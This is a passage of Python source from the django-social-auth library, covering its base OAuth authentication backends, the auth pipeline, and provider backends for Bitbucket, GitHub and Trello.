    'social_auth.backends.pipeline.user.update_user_details',
))


class SocialAuthBackend(object):
    """A django.contrib.auth backend that authenticates the user based on
    a authentication provider response"""
    name = ''  # provider name, it's stored in database
    supports_inactive_user = False

    def authenticate(self, *args, **kwargs):
        """Authenticate user using social credentials

        Authentication is made if this is the correct backend, backend
        verification is made by kwargs inspection for current backend
        name presence.
        """
        # Validate backend and arguments. Require that the Social Auth
        # response be passed in as a keyword argument, to make sure we
        # don't match the username/password calling conventions of
        # authenticate.
        if not (self.name and kwargs.get(self.name) and 'response' in kwargs):
            return None

        response = kwargs.get('response')
        pipeline = PIPELINE
        kwargs = kwargs.copy()
        kwargs['backend'] = self

        if 'pipeline_index' in kwargs:
            pipeline = pipeline[kwargs['pipeline_index']:]
        else:
            kwargs['details'] = self.get_user_details(response)
            kwargs['uid'] = self.get_user_id(kwargs['details'], response)
            kwargs['is_new'] = False

        out = self.pipeline(pipeline, *args, **kwargs)
        if not isinstance(out, dict):
            return out

        social_user = out.get('social_user')
        if social_user:
            # define user.social_user attribute to track current social
            # account
            user = social_user.user
            user.social_user = social_user
            user.is_new = out.get('is_new')
            return user

    def pipeline(self, pipeline, *args, **kwargs):
        """Pipeline"""
        out = kwargs.copy()

        if 'pipeline_index' in kwargs:
            base_index = int(kwargs['pipeline_index'])
        else:
            base_index = 0

        for idx, name in enumerate(pipeline):
            out['pipeline_index'] = base_index + idx
            mod_name, func_name = name.rsplit('.', 1)
            mod = import_module(mod_name)
            func = getattr(mod, func_name, None)

            try:
                result = func(*args, **out) or {}
            except StopPipeline:
                # Clean partial pipeline on stop
                if 'request' in kwargs:
                    clean_partial_pipeline(kwargs['request'])
                break

            if isinstance(result, dict):
                out.update(result)
            else:
                return result

        # clean the partial pipeline at the end of the process
        if 'request' in kwargs:
            clean_partial_pipeline(kwargs['request'])
        return out

    def extra_data(self, user, uid, response, details):
        """Return default blank user extra data"""
        return {}

    def get_user_id(self, details, response):
        """Must return a unique ID from values returned on details"""
        raise NotImplementedError('Implement in subclass')

    def get_user_details(self, response):
        """Must return user details in a know internal struct:
            {'username': <username if any>,
             'email': <user email if any>,
             'fullname': <user full name if any>,
             'first_name': <user first name if any>,
             'last_name': <user last name if any>}
        """
        raise NotImplementedError('Implement in subclass')

    @classmethod
    def tokens(cls, instance):
        """Return the tokens needed to authenticate the access to any API the
        service might provide. The return value will be a dictionary with the
        token type name as key and the token value.

        instance must be a UserSocialAuth instance.
        """
        if instance.extra_data and 'access_token' in instance.extra_data:
            return {
                'access_token': instance.extra_data['access_token']
            }
        else:
            return {}

    def get_user(self, user_id):
        """
        Return user with given ID from the User model used by this backend.
        This is called by django.contrib.auth.middleware.
        """
        return UserSocialAuth.get_user(user_id)


class OAuthBackend(SocialAuthBackend):
    """OAuth authentication backend base class.

    EXTRA_DATA defines a set of name that will be stored in
               extra_data field. It must be a list of tuples with
               name and alias.

    Also settings will be inspected to get more values names that should be
    stored on extra_data field. Setting name is created from current backend
    name (all uppercase) plus _EXTRA_DATA.

    access_token is always stored.
    """
    EXTRA_DATA = None
    ID_KEY = 'id'

    def get_user_id(self, details, response):
        """OAuth providers return an unique user id in response"""
        return response[self.ID_KEY]

    @classmethod
    def extra_data(cls, user, uid, response, details=None):
        """Return access_token and extra defined names to store in
        extra_data field"""
        data = {'access_token': response.get('access_token', '')}
        name = cls.name.replace('-', '_').upper()
        names = (cls.EXTRA_DATA or []) + setting(name + '_EXTRA_DATA', [])

        for entry in names:
            if type(entry) is str:
                entry = (entry,)

            try:
                if len(entry) == 3:
                    name, alias, discard = entry
                elif len(entry) == 2:
                    (name, alias), discard = entry, False
                elif len(entry) == 1:
                    (name,), (alias,), discard = entry, entry, False
                else:
                    raise ValueError('invalid tuple for EXTRA_DATA entry' % entry)

                value = response.get(name)
                if discard and not value:
                    continue
                data[alias] = value

            except (TypeError, ValueError):
                raise BackendError('invalid entry: %s' % (entry,))

        return data


class BaseAuth(object):
    """Base authentication class, new authenticators should subclass
    and implement needed methods.

        AUTH_BACKEND   Authorization backend related with this service
    """
    AUTH_BACKEND = None

    def __init__(self, request, redirect):
        self.request = request
        # Use request because some auth providers use POST urls with needed
        # GET parameters on it
        self.data = request.REQUEST
        self.redirect = redirect

    def auth_url(self):
        """Must return redirect URL to auth provider"""
        raise NotImplementedError('Implement in subclass')

    def auth_html(self):
        """Must return login HTML content returned by provider"""
        raise NotImplementedError('Implement in subclass')

    def auth_complete(self, *args, **kwargs):
        """Completes loging process, must return user instance"""
        raise NotImplementedError('Implement in subclass')

    def to_session_dict(self, next_idx, *args, **kwargs):
        """Returns dict to store on session for partial pipeline."""
        return {
            'next': next_idx,
            'backend': self.AUTH_BACKEND.name,
            'args': tuple(map(model_to_ctype, args)),
            'kwargs': dict((key, model_to_ctype(val))
                           for key, val in six.iteritems(kwargs))
        }

    def from_session_dict(self, session_data, *args, **kwargs):
        """Takes session saved data to continue pipeline and merges with any
        new extra argument needed. Returns tuple with next pipeline index
        entry, arguments and keyword arguments to continue the process."""
        args = args[:] + tuple(map(ctype_to_model, session_data['args']))

        kwargs = kwargs.copy()
        saved_kwargs = dict((key, ctype_to_model(val))
                            for key, val in six.iteritems(session_data['kwargs']))
        saved_kwargs.update((key, val)
                            for key, val in six.iteritems(kwargs))
        return (session_data['next'], args, saved_kwargs)

    def continue_pipeline(self, *args, **kwargs):
        """Continue previous halted pipeline"""
        kwargs.update({
            'auth': self,
            self.AUTH_BACKEND.name: True
        })
        return authenticate(*args, **kwargs)

    def request_token_extra_arguments(self):
        """Return extra arguments needed on request-token process,
        setting is per backend and defined by:
            <backend name in uppercase>_REQUEST_TOKEN_EXTRA_ARGUMENTS.
        """
        backend_name = self.AUTH_BACKEND.name.upper().replace('-', '_')
        return setting(backend_name + '_REQUEST_TOKEN_EXTRA_ARGUMENTS', {})

    def auth_extra_arguments(self):
        """Return extra arguments needed on auth process, setting is per
        backend and defined by:
            <backend name in uppercase>_AUTH_EXTRA_ARGUMENTS.
        The defaults can be overriden by GET parameters.
        """
        backend_name = self.AUTH_BACKEND.name.upper().replace('-', '_')
        extra_arguments = setting(backend_name + '_AUTH_EXTRA_ARGUMENTS', {})
        for key, value in six.iteritems(extra_arguments):
            if key in self.data:
                extra_arguments[key] = self.data[key]
            elif value:
                extra_arguments[key] = value
        return extra_arguments

    @property
    def uses_redirect(self):
        """Return True if this provider uses redirect url method,
        otherwise return false."""
        return True

    @classmethod
    def enabled(cls):
        """Return backend enabled status, all enabled by default"""
        return True

    def disconnect(self, user, association_id=None):
        """Deletes current backend from user if associated.
        Override if extra operations are needed.
        """
        name = self.AUTH_BACKEND.name
        if UserSocialAuth.allowed_to_disconnect(user, name, association_id):
            do_revoke = setting('SOCIAL_AUTH_REVOKE_TOKENS_ON_DISCONNECT')
            filter_args = {}

            if association_id:
                filter_args['id'] = association_id
            else:
                filter_args['provider'] = name
            instances = UserSocialAuth.get_social_auth_for_user(user)\
                                      .filter(**filter_args)

            if do_revoke:
                for instance in instances:
                    instance.revoke_token(drop_token=False)
            instances.delete()
        else:
            raise NotAllowedToDisconnect()

    def build_absolute_uri(self, path=None):
        """Build absolute URI for given path. Replace http:// schema with
        https:// if SOCIAL_AUTH_REDIRECT_IS_HTTPS is defined.
        """
        uri = self.request.build_absolute_uri(path)
        if setting('SOCIAL_AUTH_REDIRECT_IS_HTTPS'):
            uri = uri.replace('http://', 'https://')
        return uri


class BaseOAuth(BaseAuth):
    """OAuth base class"""
    SETTINGS_KEY_NAME = ''
    SETTINGS_SECRET_NAME = ''
    SCOPE_VAR_NAME = None
    SCOPE_PARAMETER_NAME = 'scope'
    DEFAULT_SCOPE = None
    SCOPE_SEPARATOR = ' '

    def __init__(self, request, redirect):
        """Init method"""
        super(BaseOAuth, self).__init__(request, redirect)
        self.redirect_uri = self.build_absolute_uri(self.redirect)

    @classmethod
    def get_key_and_secret(cls):
        """Return tuple with Consumer Key and Consumer Secret for current
        service provider. Must return (key, secret), order *must* be respected.
        """
        return (setting(cls.SETTINGS_KEY_NAME),
                setting(cls.SETTINGS_SECRET_NAME))

    @classmethod
    def enabled(cls):
        """Return backend enabled status by checking basic settings"""
        return (setting(cls.SETTINGS_KEY_NAME) and
                setting(cls.SETTINGS_SECRET_NAME))

    def get_scope(self):
        """Return list with needed access scope"""
        scope = self.DEFAULT_SCOPE or []
        if self.SCOPE_VAR_NAME:
            scope = scope + setting(self.SCOPE_VAR_NAME, [])
        return scope

    def get_scope_argument(self):
        param = {}
        scope = self.get_scope()
        if scope:
            param[self.SCOPE_PARAMETER_NAME] = self.SCOPE_SEPARATOR.join(scope)
        return param

    def user_data(self, access_token, *args, **kwargs):
        """Loads user data from service. Implement in subclass"""
        return {}


class ConsumerBasedOAuth(BaseOAuth):
    """Consumer based mechanism OAuth authentication, fill the needed
    parameters to communicate properly with authentication service.

        AUTHORIZATION_URL       Authorization service url
        REQUEST_TOKEN_URL       Request token URL
        ACCESS_TOKEN_URL        Access token URL
    """
    AUTHORIZATION_URL = ''
    REQUEST_TOKEN_URL = ''
    ACCESS_TOKEN_URL = ''

    def auth_url(self):
        """Return redirect url"""
        token = self.unauthorized_token()
        name = self.AUTH_BACKEND.name + 'unauthorized_token_name'
        if not isinstance(self.request.session.get(name), list):
            self.request.session[name] = []
        self.request.session[name].append(token.to_string())
        self.request.session.modified = True
        return self.oauth_authorization_request(token).to_url()

    def auth_complete(self, *args, **kwargs):
        """Return user, might be logged in"""
        # Multiple unauthorized tokens are supported (see #521)
        name = self.AUTH_BACKEND.name + 'unauthorized_token_name'
        token = None
        unauthed_tokens = self.request.session.get(name) or []
        if not unauthed_tokens:
            raise AuthTokenError(self, 'Missing unauthorized token')
        for unauthed_token in unauthed_tokens:
            token = Token.from_string(unauthed_token)
            if token.key == self.data.get('oauth_token', 'no-token'):
                unauthed_tokens = list(set(unauthed_tokens) -
                                       set([unauthed_token]))
                self.request.session[name] = unauthed_tokens
                self.request.session.modified = True
                break
        else:
            raise AuthTokenError(self, 'Incorrect tokens')

        try:
            access_token = self.access_token(token)
        except HTTPError as e:
            if e.code == 400:
                raise AuthCanceled(self)
            else:
                raise
        return self.do_auth(access_token, *args, **kwargs)

    def do_auth(self, access_token, *args, **kwargs):
        """Finish the auth process once the access_token was retrieved"""
        if isinstance(access_token, six.string_types):
            access_token = Token.from_string(access_token)

        data = self.user_data(access_token)
        if data is not None:
            data['access_token'] = access_token.to_string()

        kwargs.update({
            'auth': self,
            'response': data,
            self.AUTH_BACKEND.name: True
        })
        return authenticate(*args, **kwargs)

    def unauthorized_token(self):
        """Return request for unauthorized token (first stage)"""
        request = self.oauth_request(
            token=None,
            url=self.REQUEST_TOKEN_URL,
            extra_params=self.request_token_extra_arguments()
        )
        return Token.from_string(self.fetch_response(request))

    def oauth_authorization_request(self, token):
        """Generate OAuth request to authorize token."""
        params = self.auth_extra_arguments() or {}
        params.update(self.get_scope_argument())
        return OAuthRequest.from_token_and_callback(
            token=token,
            callback=self.redirect_uri,
            http_url=self.AUTHORIZATION_URL,
            parameters=params
        )

    def oauth_request(self, token, url, extra_params=None):
        """Generate OAuth request, setups callback url"""
        return build_consumer_oauth_request(self, token, url,
                                            self.redirect_uri,
                                            self.data.get('oauth_verifier'),
                                            extra_params)

    def fetch_response(self, request):
        """Executes request and fetchs service response"""
        response = dsa_urlopen(request.to_url())
        return '\n'.join(response.readlines())

    def access_token(self, token):
        """Return request for access token value"""
        request = self.oauth_request(token, self.ACCESS_TOKEN_URL)
        return Token.from_string(self.fetch_response(request))

    @property
    def consumer(self):
        """Setups consumer"""
        return OAuthConsumer(*self.get_key_and_secret())


class BaseOAuth2(BaseOAuth):
    """Base class for OAuth2 providers.

    OAuth2 draft details at:
        http://tools.ietf.org/html/draft-ietf-oauth-v2-10

    Attributes:
        AUTHORIZATION_URL       Authorization service url
        ACCESS_TOKEN_URL        Token URL
    """
    AUTHORIZATION_URL = None
    ACCESS_TOKEN_URL = None
    REFRESH_TOKEN_URL = None
    REVOKE_TOKEN_URL = None
    REVOKE_TOKEN_METHOD = 'POST'
    RESPONSE_TYPE = 'code'
    REDIRECT_STATE = True
    STATE_PARAMETER = True

    def state_token(self):
        """Generate csrf token to include as state parameter."""
        return get_random_string(32)

    def get_redirect_uri(self, state=None):
        """Build redirect_uri with redirect_state parameter."""
        uri = self.redirect_uri
        if self.REDIRECT_STATE and state:
            uri = url_add_parameters(uri, {'redirect_state': state})
        return uri

    def auth_params(self, state=None):
        client_id, client_secret = self.get_key_and_secret()
        params = {
            'client_id': client_id,
            'redirect_uri': self.get_redirect_uri(state)
        }
        if self.STATE_PARAMETER and state:
            params['state'] = state
        if self.RESPONSE_TYPE:
            params['response_type'] = self.RESPONSE_TYPE
        return params

    def auth_url(self):
        """Return redirect url"""
        if self.STATE_PARAMETER or self.REDIRECT_STATE:
            # Store state in session for further request validation. The state
            # value is passed as state parameter (as specified in OAuth2 spec),
            # but also added to redirect_uri, that way we can still verify the
            # request if the provider doesn't implement the state parameter.
            # Reuse token if any.
            name = self.AUTH_BACKEND.name + '_state'
            state = self.request.session.get(name) or self.state_token()
            self.request.session[self.AUTH_BACKEND.name + '_state'] = state
        else:
            state = None

        params = self.auth_params(state)
        params.update(self.get_scope_argument())
        params.update(self.auth_extra_arguments())

        if self.request.META.get('QUERY_STRING'):
            query_string = '&' + self.request.META['QUERY_STRING']
        else:
            query_string = ''
        return self.AUTHORIZATION_URL + '?' + urlencode(params) + query_string

    def validate_state(self):
        """Validate state value. Raises exception on error, returns state
        value if valid."""
        if not self.STATE_PARAMETER and not self.REDIRECT_STATE:
            return None
        state = self.request.session.get(self.AUTH_BACKEND.name + '_state')
        if state:
            request_state = (self.data.get('state') or
                             self.data.get('redirect_state'))
            if not request_state:
                raise AuthMissingParameter(self, 'state')
            elif not state:
                raise AuthStateMissing(self, 'state')
            elif not constant_time_compare(request_state, state):
                raise AuthStateForbidden(self)
        return state

    def process_error(self, data):
        error = data.get('error_description') or data.get('error')
        if error:
            raise AuthFailed(self, error)

    def auth_complete_params(self, state=None):
        client_id, client_secret = self.get_key_and_secret()
        return {
            'grant_type': 'authorization_code',  # request auth code
            'code': self.data.get('code', ''),  # server response code
            'client_id': client_id,
            'client_secret': client_secret,
            'redirect_uri': self.get_redirect_uri(state)
        }

    @classmethod
    def auth_headers(cls):
        return {'Content-Type': 'application/x-www-form-urlencoded',
                'Accept': 'application/json'}

    def auth_complete(self, *args, **kwargs):
        """Completes loging process, must return user instance"""
        self.process_error(self.data)
        params = self.auth_complete_params(self.validate_state())
        request = Request(self.ACCESS_TOKEN_URL, data=urlencode(params),
                          headers=self.auth_headers())

        try:
            response = json.loads(dsa_urlopen(request).read())
        except HTTPError as e:
            if e.code == 400:
                raise AuthCanceled(self)
            else:
                raise
        except (ValueError, KeyError):
            raise AuthUnknownError(self)

        self.process_error(response)
        return self.do_auth(response['access_token'], response=response,
                            *args, **kwargs)

    @classmethod
    def refresh_token_params(cls, token):
        client_id, client_secret = cls.get_key_and_secret()
        return {
            'refresh_token': token,
            'grant_type': 'refresh_token',
            'client_id': client_id,
            'client_secret': client_secret
        }

    @classmethod
    def process_refresh_token_response(cls, response):
        return json.loads(response)

    @classmethod
    def refresh_token(cls, token):
        request = Request(
            cls.REFRESH_TOKEN_URL or cls.ACCESS_TOKEN_URL,
            data=urlencode(cls.refresh_token_params(token)),
            headers=cls.auth_headers()
        )
        return cls.process_refresh_token_response(dsa_urlopen(request).read())

    @classmethod
    def revoke_token_params(cls, token, uid):
        return None

    @classmethod
    def revoke_token_headers(cls, token, uid):
        return None

    @classmethod
    def process_revoke_token_response(cls, response):
        return response.code == 200

    @classmethod
    def revoke_token(cls, token, uid):
        if not cls.REVOKE_TOKEN_URL:
            return
        url = cls.REVOKE_TOKEN_URL.format(token=token, uid=uid)
        params = cls.revoke_token_params(token, uid) or {}
        headers = cls.revoke_token_headers(token, uid) or {}
        data = None

        if cls.REVOKE_TOKEN_METHOD == 'GET':
            url = '{}?{}'.format(url, urlencode(params))
        else:
            data = urlencode(params)

        request = Request(url, data=data, headers=headers)
        if cls.REVOKE_TOKEN_URL.lower() not in ('get', 'post'):
            # Patch get_method to return the needed method
            request.get_method = lambda: cls.REVOKE_TOKEN_METHOD
        response = dsa_urlopen(request)
        return cls.process_revoke_token_response(response)

    def do_auth(self, access_token, *args, **kwargs):
        """Finish the auth process once the access_token was retrieved"""
        data = self.user_data(access_token, *args, **kwargs)
        response = kwargs.get('response') or {}
        response.update(data or {})
        kwargs.update({
            'auth': self,
            'response': response,
            self.AUTH_BACKEND.name: True
        })
        return authenticate(*args, **kwargs)


# Backend loading was previously performed via the
# SOCIAL_AUTH_IMPORT_BACKENDS setting - as it's no longer used,
# provide a deprecation warning.
if setting('SOCIAL_AUTH_IMPORT_BACKENDS'):
    from warnings import warn
    warn("SOCIAL_AUTH_IMPORT_SOURCES is deprecated")


# Cache for discovered backends.
BACKENDSCACHE = {}


def get_backends(force_load=False):
    """
    Entry point to the BACKENDS cache. If BACKENDSCACHE hasn't been
    populated, each of the modules referenced in
    AUTHENTICATION_BACKENDS is imported and checked for a BACKENDS
    definition and if enabled, added to the cache.

    Previously all backends were attempted to be loaded at
    import time of this module, which meant that backends that subclass
    bases found in this module would not have the chance to be loaded
    by the time they were added to this module's BACKENDS dict. See:
    https://github.com/omab/django-social-auth/issues/204

    This new approach ensures that backends are allowed to subclass from
    bases in this module and still be picked up.

    A force_load boolean arg is also provided so that get_backend
    below can retry a requested backend that may not yet be discovered.
    """
    if not BACKENDSCACHE or force_load:
        for auth_backend in setting('AUTHENTICATION_BACKENDS'):
            mod, cls_name = auth_backend.rsplit('.', 1)
            module = import_module(mod)
            backend = getattr(module, cls_name)

            if issubclass(backend, SocialAuthBackend):
                name = backend.name
                backends = getattr(module, 'BACKENDS', {})
                if name in backends and backends[name].enabled():
                    BACKENDSCACHE[name] = backends[name]
    return BACKENDSCACHE


def get_backend(name, *args, **kwargs):
    """Returns a backend by name. Backends are stored in the BACKENDSCACHE
    cache dict. If not found, each of the modules referenced in
    AUTHENTICATION_BACKENDS is imported and checked for a BACKENDS
    definition. If the named backend is found in the module's BACKENDS
    definition, it's then stored in the cache for future access.
    """
    try:
        # Cached backend which has previously been discovered.
        return BACKENDSCACHE[name](*args, **kwargs)
    except KeyError:
        # Force a reload of BACKENDS to ensure a missing
        # backend hasn't been missed.
        get_backends(force_load=True)
        try:
            return BACKENDSCACHE[name](*args, **kwargs)
        except KeyError:
            return None






"""
Bitbucket OAuth support.

This adds support for Bitbucket OAuth service. An application must
be registered first on Bitbucket and the settings BITBUCKET_CONSUMER_KEY
and BITBUCKET_CONSUMER_SECRET must be defined with the corresponding
values.

By default username, email, token expiration time, first name and last name are
stored in extra_data field, check OAuthBackend class for details on how to
extend it.
"""
from __future__ import absolute_import

try:
    import json as simplejson
except ImportError:
    try:
        import simplejson
    except ImportError:
        from django.utils import simplejson
from social_auth.backends import ConsumerBasedOAuth, OAuthBackend
from social_auth.utils import dsa_urlopen

# Bitbucket configuration
BITBUCKET_SERVER = 'bitbucket.org/api/1.0'
BITBUCKET_REQUEST_TOKEN_URL = 'https://%s/oauth/request_token' % BITBUCKET_SERVER
BITBUCKET_ACCESS_TOKEN_URL = 'https://%s/oauth/access_token' % BITBUCKET_SERVER
BITBUCKET_AUTHORIZATION_URL = 'https://%s/oauth/authenticate' % BITBUCKET_SERVER
BITBUCKET_EMAIL_DATA_URL = 'https://%s/emails/' % BITBUCKET_SERVER
BITBUCKET_USER_DATA_URL = 'https://%s/users/' % BITBUCKET_SERVER


class BitbucketBackend(OAuthBackend):
    """Bitbucket OAuth authentication backend"""
    name = 'bitbucket'
    EXTRA_DATA = [
        ('username', 'username'),
        ('expires', 'expires'),
        ('email', 'email'),
        ('first_name', 'first_name'),
        ('last_name', 'last_name')
    ]

    def get_user_details(self, response):
        """Return user details from Bitbucket account"""
        return {'username': response.get('username'),
                'email': response.get('email'),
                'fullname': ' '.join((response.get('first_name'),
                                      response.get('last_name'))),
                'first_name': response.get('first_name'),
                'last_name': response.get('last_name')}

    def get_user_id(self, details, response):
        """Return the user id, Bitbucket only provides username as a unique
        identifier"""
        return response['username']

    @classmethod
    def tokens(cls, instance):
        """Return the tokens needed to authenticate the access to any API the
        service might provide. Bitbucket uses a pair of OAuthToken consisting
        on a oauth_token and oauth_token_secret.

        instance must be a UserSocialAuth instance.
        """
        token = super(BitbucketBackend, cls).tokens(instance)
        if token and 'access_token' in token:
            token = dict(
                tok.split('=')
                for tok in token['access_token'].split('&')
            )
        return token


class BitbucketAuth(ConsumerBasedOAuth):
    """Bitbucket OAuth authentication mechanism"""
    AUTHORIZATION_URL = BITBUCKET_AUTHORIZATION_URL
    REQUEST_TOKEN_URL = BITBUCKET_REQUEST_TOKEN_URL
    ACCESS_TOKEN_URL = BITBUCKET_ACCESS_TOKEN_URL
    AUTH_BACKEND = BitbucketBackend
    SETTINGS_KEY_NAME = 'BITBUCKET_CONSUMER_KEY'
    SETTINGS_SECRET_NAME = 'BITBUCKET_CONSUMER_SECRET'

    def user_data(self, access_token):
        """Return user data provided"""
        # Bitbucket has a bit of an indirect route to obtain user data from an
        # authenticated query: First obtain the user's email via an
        # authenticated GET
        url = BITBUCKET_EMAIL_DATA_URL
        request = self.oauth_request(access_token, url)
        response = self.fetch_response(request)
        try:
            # Then retrieve the user's primary email address or the top email
            email_addresses = simplejson.loads(response)
            for email_address in reversed(email_addresses):
                if email_address['active']:
                    email = email_address['email']
                    if email_address['primary']:
                        break
            # Then return the user data using a normal GET with the
            # BITBUCKET_USER_DATA_URL and the user's email
            response = dsa_urlopen(BITBUCKET_USER_DATA_URL + email)
            user_details = simplejson.load(response)['user']
            user_details['email'] = email
            return user_details
        except ValueError:
            return None
        return None


# Backend definition
BACKENDS = {
    'bitbucket': BitbucketAuth,
}






"""
GitHub OAuth support.

This contribution adds support for GitHub OAuth service. The settings
GITHUB_APP_ID and GITHUB_API_SECRET must be defined with the values
given by GitHub application registration process.

GITHUB_ORGANIZATION is an optional setting that will allow you to constrain
authentication to a given GitHub organization.

Extended permissions are supported by defining GITHUB_EXTENDED_PERMISSIONS
setting, it must be a list of values to request.

By default account id and token expiration time are stored in extra_data
field, check OAuthBackend class for details on how to extend it.
"""
from __future__ import absolute_import

try:
    import json as simplejson
except ImportError:
    try:
        import simplejson
    except ImportError:
        from django.utils import simplejson

from django.conf import settings
from six.moves.urllib.error import HTTPError
from six.moves.urllib.parse import urlencode
from social_auth.utils import dsa_urlopen
from social_auth.backends import BaseOAuth2, OAuthBackend
from social_auth.exceptions import AuthFailed


# GitHub configuration
GITHUB_AUTHORIZATION_URL = 'https://github.com/login/oauth/authorize'
GITHUB_ACCESS_TOKEN_URL = 'https://github.com/login/oauth/access_token'
GITHUB_USER_DATA_URL = 'https://api.github.com/user'

# GitHub organization configuration
GITHUB_ORGANIZATION_MEMBER_OF_URL = \
    'https://api.github.com/orgs/{org}/members/{username}'

GITHUB_SERVER = 'github.com'


class GithubBackend(OAuthBackend):
    """Github OAuth authentication backend"""
    name = 'github'
    # Default extra data to store
    EXTRA_DATA = [
        ('id', 'id'),
        ('expires', 'expires')
    ]

    def _fetch_emails(self, access_token):
        """Fetch private emails from Github account"""
        url = GITHUB_USER_DATA_URL + '/emails?' + urlencode({
            'access_token': access_token
        })

        try:
            data = simplejson.load(dsa_urlopen(url))
        except (ValueError, HTTPError):
            data = []
        return data

    def get_user_details(self, response):
        """Return user details from Github account"""
        name = response.get('name') or ''
        details = {'username': response.get('login')}

        try:
            email = self._fetch_emails(response.get('access_token'))[0]
        except IndexError:
            details['email'] = ''
        else:
            details['email'] = email

        try:
            # GitHub doesn't separate first and last names. Let's try.
            first_name, last_name = name.split(' ', 1)
        except ValueError:
            details['first_name'] = name
        else:
            details['first_name'] = first_name
            details['last_name'] = last_name
        return details


class GithubAuth(BaseOAuth2):
    """Github OAuth2 mechanism"""
    AUTHORIZATION_URL = GITHUB_AUTHORIZATION_URL
    ACCESS_TOKEN_URL = GITHUB_ACCESS_TOKEN_URL
    AUTH_BACKEND = GithubBackend
    SETTINGS_KEY_NAME = 'GITHUB_APP_ID'
    SETTINGS_SECRET_NAME = 'GITHUB_API_SECRET'
    SCOPE_SEPARATOR = ','
    # Look at http://developer.github.com/v3/oauth/
    SCOPE_VAR_NAME = 'GITHUB_EXTENDED_PERMISSIONS'

    GITHUB_ORGANIZATION = getattr(settings, 'GITHUB_ORGANIZATION', None)

    def user_data(self, access_token, *args, **kwargs):
        """Loads user data from service"""
        url = GITHUB_USER_DATA_URL + '?' + urlencode({
            'access_token': access_token
        })

        try:
            data = simplejson.load(dsa_urlopen(url))
        except ValueError:
            data = None

        # if we have a github organization defined, test that the current users
        # is a member of that organization.
        if data and self.GITHUB_ORGANIZATION:
            member_url = GITHUB_ORGANIZATION_MEMBER_OF_URL.format(
                org=self.GITHUB_ORGANIZATION,
                username=data.get('login')
            ) + '?' + urlencode({
                'access_token': access_token
            })

            try:
                response = dsa_urlopen(member_url)
            except HTTPError:
                data = None
            else:
                # if the user is a member of the organization, response code
                # will be 204, see http://bit.ly/ZS6vFl
                if response.code != 204:
                    raise AuthFailed('User doesn\'t belong to the '
                                     'organization')
        return data

# Backend definition
BACKENDS = {
    'github': GithubAuth,
}






from __future__ import absolute_import

from oauth2 import (
    Consumer as OAuthConsumer, Token, Request as OAuthRequest,
    SignatureMethod_HMAC_SHA1, HTTP_METHOD
)

try:
    import json as simplejson
except ImportError:
    try:
        import simplejson
    except ImportError:
        from django.utils import simplejson

from social_auth.models import UserSocialAuth
from social_auth.utils import dsa_urlopen


def consumer_oauth_url_request(backend, url, user_or_id, redirect_uri='/',
                               json=True):
    """Builds and retrieves an OAuth signed response."""
    user = UserSocialAuth.resolve_user_or_id(user_or_id)
    oauth_info = user.social_auth.filter(provider=backend.AUTH_BACKEND.name)[0]
    token = Token.from_string(oauth_info.tokens['access_token'])
    request = build_consumer_oauth_request(backend, token, url, redirect_uri)
    response = '\n'.join(dsa_urlopen(request.to_url()).readlines())

    if json:
        response = simplejson.loads(response)
    return response


def build_consumer_oauth_request(backend, token, url, redirect_uri='/',
                                 oauth_verifier=None, extra_params=None,
                                 method=HTTP_METHOD):
    """Builds a Consumer OAuth request."""
    params = {'oauth_callback': redirect_uri}
    if extra_params:
        params.update(extra_params)

    if oauth_verifier:
        params['oauth_verifier'] = oauth_verifier

    consumer = OAuthConsumer(*backend.get_key_and_secret())
    request = OAuthRequest.from_consumer_and_token(consumer,
                                                   token=token,
                                                   http_method=method,
                                                   http_url=url,
                                                   parameters=params)
    request.sign_request(SignatureMethod_HMAC_SHA1(), consumer, token)
    return request






"""
Obtain
TRELLO_CONSUMER_KEY & TRELLO_CONSUMER_SECRET
at https://trello.com/1/appKey/generate
and put into settings.py

Also you can put something like
TRELLO_AUTH_EXTRA_ARGUMENTS = {
    'name': '7WebPages Time Tracker',
    'expiration': 'never'
}

into settings.py
"""
from __future__ import absolute_import

try:
    import json as simplejson
except ImportError:
    try:
        import simplejson
    except ImportError:
        from django.utils import simplejson

from six.moves.urllib.parse import urlencode
from social_auth.backends import ConsumerBasedOAuth, OAuthBackend
from social_auth.utils import dsa_urlopen, backend_setting


TRELLO_REQUEST_TOKEN_URL = 'https://trello.com/1/OAuthGetRequestToken'
TRELLO_ACCESS_TOKEN_URL = 'https://trello.com/1/OAuthGetAccessToken'
TRELLO_AUTHORIZATION_URL = 'https://trello.com/1/OAuthAuthorizeToken'
TRELLO_USER_DETAILS_URL = 'https://api.trello.com/1/members/me/'


class TrelloBackend(OAuthBackend):
    """Trello OAuth authentication backend"""
    name = 'trello'
    EXTRA_DATA = [
        ('username', 'username'),
        ('email', 'email'),
        ('fullName', 'full_name'),
    ]

    def get_user_details(self, response):
        """Return user details from Trello account"""
        name_arr = response.get('fullName').split()
        first_name = None
        last_name = None

        if len(name_arr) > 0:
            first_name = name_arr[0]
        if len(name_arr) > 1:
            last_name = name_arr[1]

        return {'username': response.get('username'),
                'email': response.get('email'),
                'first_name': first_name,
                'last_name': last_name}

    def get_user_id(self, details, response):
        """Return the user id, Trello only provides username as a unique
        identifier"""
        return response['username']

    @classmethod
    def tokens(cls, instance):
        """Return the tokens needed to authenticate the access to any API the
        service might provide. Trello uses a pair of OAuthToken consisting
        on a oauth_token and oauth_token_secret.

        instance must be a UserSocialAuth instance.
        """
        token = super(TrelloBackend, cls).tokens(instance)
        if token and 'access_token' in token:
            token = dict(
                tok.split('=')
                for tok in token['access_token'].split('&')
            )
        return token


class TrelloAuth(ConsumerBasedOAuth):
    """Trello OAuth authentication mechanism"""
    AUTHORIZATION_URL = TRELLO_AUTHORIZATION_URL
    REQUEST_TOKEN_URL = TRELLO_REQUEST_TOKEN_URL
    ACCESS_TOKEN_URL = TRELLO_ACCESS_TOKEN_URL
    AUTH_BACKEND = TrelloBackend
    SETTINGS_KEY_NAME = 'TRELLO_CONSUMER_KEY'
    SETTINGS_SECRET_NAME = 'TRELLO_CONSUMER_SECRET'

    def user_data(self, access_token, *args, **kwargs):
        """Loads user data from service"""
        token = access_token.key
        params = {
            'token': token,
            'key': backend_setting(self, self.SETTINGS_KEY_NAME)
        }
        url = TRELLO_USER_DETAILS_URL + '?' + urlencode(params)
        try:
            return simplejson.load(dsa_urlopen(url))
        except ValueError:
            return None


# Backend definition
BACKENDS = {
    'trello': TrelloAuth,
}






from __future__ import absolute_import

from django.core.exceptions import MultipleObjectsReturned, ObjectDoesNotExist

from social_auth.models import UserSocialAuth
from social_auth.exceptions import AuthException


def associate_by_email(details, user=None, *args, **kwargs):
    """Return user entry with same email address as one returned on details."""
    if user:
        return None

    email = details.get('email')

    if email:
